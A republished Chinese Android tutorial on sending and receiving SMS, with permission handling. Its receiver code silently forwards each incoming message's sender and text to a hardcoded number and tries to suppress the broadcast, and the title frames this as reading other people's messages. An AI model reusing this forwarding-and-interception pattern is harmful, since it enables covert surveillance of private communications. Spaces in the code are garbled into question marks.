同步接收別人手機短信,Android——SMS接收發短信與運行權限

 2023-12-06 阅读 16 评论 0

摘要:好久沒寫了,最近學習Android的相關知識,包括UI組件與布局、Activity生命周期等,而這次要講的是,Broadcast Receiver的相關知識,主要是接收發短信,SmsManager、SmsManages的使用。還有就是這里涉及到的權限問題,在清單文件中

好久沒寫了,最近學習Android的相關知識,包括UI組件與布局、Activity生命周期等,而這次要講的是,Broadcast Receiver的相關知識,主要是接收發短信,SmsManagerSmsManages的使用。還有就是這里涉及到的權限問題,在清單文件中加入相關的權限,還有就是運行權限。具體請看下面例子:

同步接收別人手機短信?發短信(SmsManager:

發短信比較簡單,我們可以定義一個類,通過傳參(包括號碼與內容)的方式進行進一步操作。

匿名發短信??

import?android.telephony.SmsManager;
import java.util.ArrayList;

?

public class SendMsg {
????String message;
????String phone;

????public SendMsg(String message, String phone) {
????????this.message = message;
????????this.phone = phone;
????????SmsManager smsManager = SmsManager.getDefault();
????????ArrayList<String> list = smsManager.divideMessage(message);
????????for (String text:list) {
????????????smsManager.sendTextMessage(phone, null, text, null, null);
????????}
????}
}

manifest清單文件中加入

<uses-permission android:name="android.permission.SEND_SMS" />

在主MainActivity中加入運行權限

...

protected void onCreate(Bundle savedInstanceState) {
????super.onCreate(savedInstanceState);
????setContentView(R.layout.activity_main);

?

if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED) {
????ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.SEND_SMS}, 1);
}

}

?

接著就是重寫onRequestPermissionsResult

public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
????switch (requestCode) {
????????case 1:
????????????if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
????????????????//這里寫操作 如send(); send函數中New SendMsg 號碼,內容);
????????????} else {
????????????????Toast.makeText(this, "你沒啟動權限", Toast.LENGTH_SHORT).show();
????????????}
????????????break;

???????default:
????}
}

?

?

在接下來就是接收短信,方式有很多這里就不一一介紹了,主要講講使用Broadcast。而設計到廣播,就需要了解廣播的相關知識,具體不會講很多以后慢慢更新。

廣播需要創建一個Receiver進行監聽短信的查收。如下:

?

import...

public class SMSReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

String?phone = "10086";

String num, con;
//讀取data中存入的安全號碼
Bundle bundle = intent.getExtras();
if (bundle != null) {
????Object[] objs = (Object[]) bundle.get("pdus");
????SmsMessage[] smsMessages = new SmsMessage[objs.length];
????for (int i = 0; i < objs.length; i++) {
????????smsMessages[i] = SmsMessage.createFromPdu((byte[]) objs[i]);
????????num = smsMessages[i].getDisplayOriginatingAddress(); //短信的號碼
????????con = smsMessages[i].getDisplayMessageBody(); //短信的內容


????????Toast.makeText(context, num + "----" + con, Toast.LENGTH_SHORT).show();

????????System.out.println("號碼:" + num + "內容:" + con);
????????SendMsg sendMsg = new SendMsg("號碼:" + num + "內容:" + con, phone);

?

if (num.equals(phone)) {

//這里可以寫一些自己的其他操作 (如包括匹配相應的號碼進行操作)

}

?}
????????abortBroadcast(); ?//這里是對短信進行攔截但是并不能實現
????}
}

?

寫完receiver之后就可以進行注冊(靜態與動態),這里就寫靜態了如下:

<receiver
????android:name=".SMSReceiver"
????android:enabled="true"
????android:exported="true">
?????<intent-filter android:priority="1000"> <!-- 這是優先權--!>
????????<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
?????</intent-filter>
</receiver>

上面的intent-filter便是靜態注冊了,打開APP便進行短信監聽

還有就是權限問題:

<uses-permission android:name="android.permission.RECEIVE_SMS" />

運行權限:

if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECEIVE_SMS)!= PackageManager.PERMISSION_GRANTED){
????ActivityCompat.requestPermissions(MainActivity.this,new String[]{Manifest.permission.RECEIVE_SMS},2);
}

onRequestPermissionsResult方法如上

?

轉載于:https://www.cnblogs.com/llw1996/p/6721348.html

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/5/191750.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息